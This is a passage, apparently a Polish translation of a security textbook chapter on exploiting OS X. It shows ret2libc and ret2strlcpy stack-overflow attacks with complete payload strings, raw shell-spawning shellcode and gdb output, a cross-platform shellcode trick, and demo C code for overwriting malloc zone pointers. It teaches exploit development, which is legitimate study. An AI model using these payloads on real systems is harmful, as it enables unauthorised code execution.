“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO”)

(gdb) run

Starting program: /Users/shellcoders/chapter_12/stack $(printf

“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO”)
```

Reading symbols for shared libraries . done

buff: 0xbffffb10

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x48484848

0x48484848 in ?? ()

Więc nadpisujemy zapisany adres zwrotny HHHH. Należy tutaj zauważyć, że adres buffa zmienia się podczas debugowania. Jeśli próbujesz tego w domu, pamiętaj, że rzeczy trochę się zmienią ze względu na różnice w środowisku. Adres buff będzie jednak spójny pomiędzy wykonaniami programu w tym samym środowisku. Jeśli otrzymamy teraz adres systemu:

(gdb) info func system

All functions matching regular expression “system”:

Non-debugging symbols:

0x90046ff0 system

0x900bd450 new_system_shared_regions

0x9012ddc8 svcerr_systemerr

teraz musimy ustawić stos tak, aby wyglądał tak:

↑ Lower addresses

Saved return address system()

Ret after system() < whatever >

Argument to system() Address of ‘/bin/sh’

Argument /bin/sh

↓ Higher addresses

Jedyną rzeczą, którą musimy wiedzieć, jest to, gdzie „/bin/sh” znajdzie się w pamięci, jeśli umieścimy go na końcu naszego ciągu. Ponieważ pomagamy drukować adres buff:

macbook:~/chapter_12 shellcoders$ ./stack $(printf

“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO”)

buff: 0xbffffc00

możemy po prostu skomponować nasz ciąg, jak pokazano wcześniej, dodając 0x28 do adresu buff, który został wydrukowany:

macbook:~/chapter_12 shellcoders$ ./stack $(printf

“AAAABBBBCCCCDDDDEEEEFFFFGGGG\xf0\x6f\x04\x90AAAA\x28\xfc\xff\xbf///////

//////////bin/sh”)

buff: 0xbffffc00

sh-2.05b$ id

uid=502(shellcoders) gid=502(shellcoders) groups=502(shellcoders)

sh-2.05b$ exit

exit

Segmentation fault

macbook:~/chapter_12 shellcoders$

Więc dostajemy naszą powłokę. Dostajemy również błąd segmentacji końcowej, ponieważ jesteśmy leniwi i wracamy do 0x41414141. Powinniśmy prawdopodobnie uporządkować to i wrócić do exit() lub podobnego.

ret2str(l)cpy

Tak więc pokazaliśmy, że ret2libc działa. Co powiesz na nieco bardziej rozbudowaną metodę, w której wykonujemy wybrany przez nas szelkod? Istnieje inny atak ret2libcstyle, który na to pozwala, zwany ret2strcpy. Pomysł – jak można się domyślić z nazwy – polega na powrocie do strcpy, przekazując adres swojego szelkodu na stosie (niewykonywalnym) jako argumentu „src" i przekazując adres na stercie (wykonywalnym) jako „ przeznaczenie".

char *strcpy(char * dst, const char * src);

Stos powinien wyglądać tak:

↑Dolne adresy

Zapisany adres zwrotny Adres strcpy()

Ret po strcpy() Adres na stercie

Dest Argument do strcpy() Adres na stercie

Src Argument do strcpy() Adres naszego kodu powłoki na stosie

<kod powłoki>

↓ Wyższe adresy

W naszym planie jest drobna zmarszczka w tym, że okazuje się, że adres

strcpy() ma w sobie pusty bajt:

(gdb) info func strcpy

0x90002540 strcpy

… więc zamiast tego użyjemy strlcpy:

(gdb) info func strlcpy

0x900338f0 strlcpy

strlcpy wygląda tak:

size_t strlcpy(char *dst, const char *src, size_t size);

Jedyną modyfikacją, jaką musimy wprowadzić, jest umieszczenie trzeciego parametru w strlcpy - maksymalnej liczby bajtów do skopiowania - na stos po argumencie src, więc nasz układ wygląda następująco:

↑Dolne adresy

Zapisany adres zwrotny Strlcpy()

Ret po strcpy() Adres na stercie

Dest Argument do strcpy() Adres na stercie

Src Argument do strcpy() Adres naszego kodu powłoki na stosie

Argument rozmiaru do strlcpy 0x01010101

<kod powłoki>

↓ Wyższe adresy

Zauważ, że argument size to maksymalna liczba bajtów do skopiowania. Ponieważ będziemy kopiować tylko kilkadziesiąt bajtów, nie ma znaczenia, na co to ustawimy. Wybrałem najmniejszą wartość inną niż null, 0x01010101. Musimy również wybrać odpowiedni adres sterty (czyli nie zawiera wartości null). Badając wyjście vmmap na stosie widzimy:

MALLOC 01800000-02008000 [8224K] rw-/rwx SM=PRV

DefaultMallocZone_0x300000

Więc adres 0x01810101 powinien być w porządku. Jak wspomniano wcześniej, nasz szelkod wygląda tak:

“\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x5

8\x40\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5

b\x5b\x3b\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6

e\x8b\xdc\x50\x54\x54\x53\xb0\x3b\x50\xcd\x80”

I równie dobrze moglibyśmy na początku odrzucić kilka nosów, żeby było łatwiej. Więc nasz ostateczny układ będzie

./stack <padding><strlcpy><heap><heap><shellcode address><size arg>

<shellcode>

lub

macbook:~/chapter_12 shellcoders$ ./stack $(printf

“AAAABBBBCCCCDDDDEEEEFFFFGGGG\xf0\x38\x03\x90\x01\x01\x81\x01\x01\x01\x8

1\x01\xc0\xfb\xff\xbf\x01\x01\x01\x01\x90\x90\x90\x90\x90\x90\x90\x90\xe

b\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x58\x4

0\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5b\x5

b\x3b\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8

b\xdc\x50\x54\x54\x53\xb0\x3b\x50\xcd\x80”)

buff: 0xbffffb90

macbook:/Users/shellcoders/chapter_12 shellcoders$ id

uid=502(shellcoders) gid=502(shellcoders) groups=502(shellcoders)

macbook:/Users/shellcoders/chapter_12 shellcoders$ exit

exit

macbook:~/chapter_12 shellcoders$

Odpowiednie adresy i argumenty są wytłuszczone. Pamiętaj, że ponieważ chipy Intela są little-endian, każdy czterobajtowy DWORD pojawia się w odwrotnej kolejności, więc 0x900338f0 staje się \xf0\x38\x03\x90. Adresy to:

0x900338f0 — strlcpy

0x01810101 — Nasz adres sterty (razy 2)

0xbffffbc0 — Adres shellcodu na stosie

0x01010101 — Nasz argument „rozmiar” do strlcpy

Następnie mamy nasze sanki nop (osiem 0x90 bajtów), po których następuje nasz szelkod. Miejmy więc nadzieję, że wykazaliśmy, że niewykonywalny stos w systemie OS X nie stanowi prawdziwego problemu, dzięki stercie wykonywalnej i ogólnej stabilności systemu operacyjnego pod względem adresów. Teoretycznie możliwe jest łączenie dowolnej liczby bloków kodu jako serii „powrotów do”, ale praktyczna trudność pojawia się, gdy musisz umieścić bajty null na stosie, ponieważ bajt null zwykle kończy łańcuch. To, co chcielibyśmy zrobić, to utworzyć na stosie dowolną ilość danych, które wybraliśmy, w tym wartości null, a następnie „wrócić” do niego. Istnieje wiele sposobów na osiągnięcie tego celu, jedną z możliwości jest ret2sscanf. sscanf jest zwykle nazywany tak:

sscanf(„100 200 300 400”, „%d %d %d %d”, 0x11111111, 0x22222222,

0x33333333, 0x44444444);

Spowoduje to zapisanie wartości dziesiętnych 100, 200, 300 i 400 pod adresami

0x11111111, 0x22222222, 0x333333333 i 0x44444444. Wspaniałą rzeczą jest to, że możemy zapisać dowolną wartość (w tym bajty null) do dowolnego adresu, który możemy reprezentować bez używania bajtów null. W efekcie daje nam to niezwykle prosty prymityw „zapisz cokolwiek w dowolnym miejscu”, z którego możemy zbudować dowolną serię wywołań funkcji, do których będziemy wracać. W systemie OS X mprotect i vm_protect to dobry wybór, ponieważ mogą sprawić, że obszar pamięci będzie wykonywalny.

Wieloplatformowy kod powłoki systemu OS X

Największą elegancją podczas wykorzystywania błędu na platformie OS X byłoby napisanie exploita, który działa dobrze zarówno na platformach PowerPC, jak i Intel. Neil Archibald i Ilja van Sprundel opisali technikę osiągnięcia tego w swojej prezentacji Ruxcon 2005 „Breaking Mac OS X”. Ogólnie rzecz biorąc, technika ta jest zgodna z techniką opisaną we wcześniejszym artykule w czasopiśmie Phrack (wydanie 57, artykuł 14, niestety niedostępny za pośrednictwem strony archiwum w momencie pisania tego tekstu). Istota polega na tym, że musisz znaleźć instrukcję w stylu „jmp” na jednej platformie,

która nie jest odpowiednikiem innej lub innych. Więc w przypadku OS X twój bufor byłby ułożony w następujący sposób:

<nop on both>

<nop on both>

<nop on both>

<nop on ppc, jmp to Start on intel>

<ppc shellcode>

Start: <Intel shellcode>

W swojej prezentacji Neil i Ilja zwracają uwagę, że 32-bitowa instrukcja 0xfcfcfcfc jest blokadą zarówno na PowerPC, jak i Intelu, ponieważ na PowerPC rozwiązuje się do instrukcji „fnmsub" (floating-negative-multiply-subtract), która nie robi nic istotnego. , a na platformie Intel rozwiązuje to do instrukcji cld (Clear Direction Flag) (0xfc), powtórzonej czterokrotnie. Potrzebują wtedy instrukcji, która nie robi nic istotnego na PowerPC podczas wykonywania jmp na Intelu. Okazuje się, że 0x5f90eb48 robi to, ponieważ na PowerPC zmienia się na rlwnm (Obróć lewe słowo, potem i z maską), a na Intelu zmienia się na

0x5f: pop edi

0x90: nop

0xeb48 : jmp 0x48

… co pozwala im umieszczać swój shellcode Intela i PowerPC w różnych lokalizacjach. Inną możliwością jest użycie instrukcji nop PowerPC, której 2 bajty niższego rzędu są w Intelu tłumaczone na „jmp", takie jak pokazane wcześniej 0xeb48. Instrukcja byłaby:

0x6060eb48

Możesz wtedy nadpisać zapisany adres powrotu/wskaźnik funkcji, aby wskazywał na drugi bajt tej instrukcji. Z powodu zaokrąglania adresów na PowerPC, instrukcja zostanie wykonana jako nop. Jednak na Intelu przeskoczymy do właściwej lokalizacji i zostanie to wykonane jako jmp. W zależności od okoliczności, takie triki mogą w ogóle nie być konieczne, ponieważ rozwiązanie może być proste - różnice w układzie stosu w wersjach Intel i PowerPC można wykorzystać w przypadku przepełnienia stosu w sposób umożliwiający po prostu mieć dwa różne bloki kodu powłoki. Z drugiej strony zaimplementowanie exploita międzyplatformowego może być wyjątkowo trudne — generalnie trudno jest znaleźć niezawodne nadpisywanie wskaźnika, które ma zastosowanie w równym stopniu do obu platform w przypadku przepełnienia sterty lub błędu ciągu formatującego. Więc chociaż problem szelkodów między platformami jest interesujący, rozwiązanie prawdopodobnie będzie albo dość łatwe, albo bardzo trudne – tak czy inaczej, zwykle jest sposób na obejście tego problemu, który pozwala napisać dwa oddzielne szelkody. To powiedziawszy, jeśli natkniesz się na błąd, w którym technika ma zastosowanie, technika Neila i Ilji jest zdecydowanie stylowym sposobem rozwiązania problemu.

Eksploatacja sterty OS X

Implementacja sterty OS X jest trochę nietypowa. Rzadko miesza dane użytkownika i dane dotyczące zarządzania stertą. Bloki są przydzielane w strefach. Struktura malloc_zone_t zarządza wskaźnikami funkcji dla funkcji „malloc", „free" i powiązanych funkcji w każdej strefie. W artykule w czasopiśmie Phrack (Phrack 63, Artykuł 0x05 — zobacz listę artykułów pod koniec rozdziału, aby uzyskać więcej

informacji), nemo@felinemenace.org opisuje technikę eksploatacji sterty dla OS X, która wykorzystuje nadpisywanie struktura malloc_zone_t. Technika ta jest uproszczoną metodą wykorzystywania przepełnień sterty, mającą zastosowanie w sytuacjach, w których przepełniony blok może przepełnić się do tej tabeli wskaźników funkcji. W uproszczonej sytuacji dzieje się tak, gdy:

1. Przepełniony blok jest „mały” (< 500 bajtów) lub „duży” (> 0x4000 bajtów).

2. Atakujący jest w stanie wpłynąć na program, aby zapewnić, że przydzielono wystarczającą liczbę „dużych” bloków, aby zapewnić, że między przepełnionym buforem a odpowiednią tabelą wskaźników funkcji „malloc_zone” nie ma stron, których nie można zapisać.

3. Przepełniony blok może być przepełniony na tyle daleko, aby umożliwić nadpisanie wskaźników funkcji.

Piękno tej techniki polega na tym, że można ją traktować jako przekształcenie przepełnienia sterty w klasyczne przepełnienie stosu, z kilkoma modyfikacjami. Praktyczny przykład tej techniki podano w artykule nemo, ilustrującym wykorzystanie błędu w bibliotece WebKit, która jest dostarczana w systemie OS X jako część przeglądarki internetowej Safari i klienta poczty e-mail. Ten program zapewnia prostą ilustrację techniki nemo:

```
#include <stdio.h>

#include <stdlib.h>

#include <string.h>

extern unsigned *malloc_zones;

int main( int argc, char *argv[] )

{

char *p1 = NULL;

char *p2 = NULL;

printf(“malloc_zones: %08x\n”, *malloc_zones );

printf(“p1: %08x\n”, p1 );

p1 = malloc( 0x10 );

while( p2 < *malloc_zones )

p2 = malloc( 0x5000 );

printf(“p2: %08x\n”, p2 );

unsigned *pu = p1;

while( pu < (*malloc_zones + 0x20) )

*pu++ = 0x41414141;

free( p1 );

free( p2 );

return 0;
```

}

Jak widać, po prostu alokujemy mały blok, a następnie alokujemy bloki o rozmiarze 0x5000, aż adres naszego przydzielonego bloku to > wskaźnik malloc_zones. W tym momencie wiemy, że między nami a naszą docelową strukturą malloc_zone_t nie ma żadnych niezapisywalnych stron, więc droga do skasowania sterty jest jasna. Piszemy 0x41414141 nad stertą, od p1 do *malloc_zones + 0x20. Kiedy następnym razem wywołamy free(), kończymy wykonywanie 0x41414141 (lub 0x41414140 z zaokrąglaniem adresów PowerPC). W gdb wygląda to tak:

(gdb) run

Starting program: /Users/shellcoders/chapter_12/heap

Reading symbols for shared libraries . done

malloc_zones: 01800000

p1: 00000000

p2: 02008000

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x41414140

0x41414140 in ?? ()

Innym miłym aspektem sterty OS X z punktu widzenia osoby atakującej jest to, że zapewnia ona kilka zapisywalnych wskaźników funkcji pod stosunkowo stabilnymi adresami, które stanowią oczywisty cel dla prymitywu typu „zapisuj cokolwiek-wszędzie”, jaki można znaleźć w aplikacji- określony wektor przepełnienia lub błąd ciągu formatu.

Wykrywanie błędów w systemie OS X

Istnieje kilka niezwykle przydatnych narzędzi, unikalnych dla systemu OS X, które stanowią doskonałe uzupełnienie arsenału bug huntera:

* ktrace/kdump: Jak wspomniano wcześniej, te doskonałe narzędzia pozwalają zobaczyć, jakie wywołania systemowe wywołuje dany proces, co jest ogólnie przydatne, ale szczególnie przydatne podczas pisania kodu powłoki z dużą ilością wywołań systemowych.

* vmmap: Tworzy mapę pamięci dla określonego procesu, wyszczególniając uprawnienia strony, załadowane biblioteki i tak dalej. Możesz także uzyskać „różnicę” między dwiema migawkami zrobionymi w różnym czasie.

* sterta, wycieki, malloc_history: Wszystkie te narzędzia mogą być przydatne, jeśli szukasz przepełnienia sterty, ponieważ umożliwiają one badanie odpowiednio alokacji sterty, podejrzewanych wycieków pamięci i pełnej historii alokacji procesu.

* lsof: Wyświetla otwarte pliki (w tym gniazda IP).

* nm: Wyświetla nazwy w postaci binarnej, czyli tablicę symboli.

* otool: Wyświetla usunięte części plików binarnych, na przykład rozmontować sekcję, symbol, użyte biblioteki list i tak dalej.

* Xcode: standardowe narzędzie programistyczne OS X, które zawiera gcc i gdb.

Podsumowanie

W tej części omówiliśmy większość tego, co musisz wiedzieć, aby zacząć znajdować i wykorzystywać błędy w oprogramowaniu działającym na platformie OS X – a nawet w samym OS X. Omówiliśmy kilka wyróżniających się funkcji systemu OS X z punktu widzenia łowcy błędów i autora exploitów oraz zademonstrowaliśmy kilka sposobów na obejście funkcji niewykonywalnego stosu w ostatnich wersjach systemu OS X na platformie Intel . Mac jest oczywiście dobrze zaprojektowanym zestawem – przyjemnym w użyciu i łatwym w konfiguracji – więc prawdopodobnie udział w rynku komputerów Mac wzrośnie. W związku z tym społeczność bezpieczeństwa powinna poddać ją takiej samej kontroli, jak jej konkurenci. Pomijając twierdzenia reklamowe, ciekawie będzie zobaczyć, jak OS X ukształtuje się w nadchodzących latach.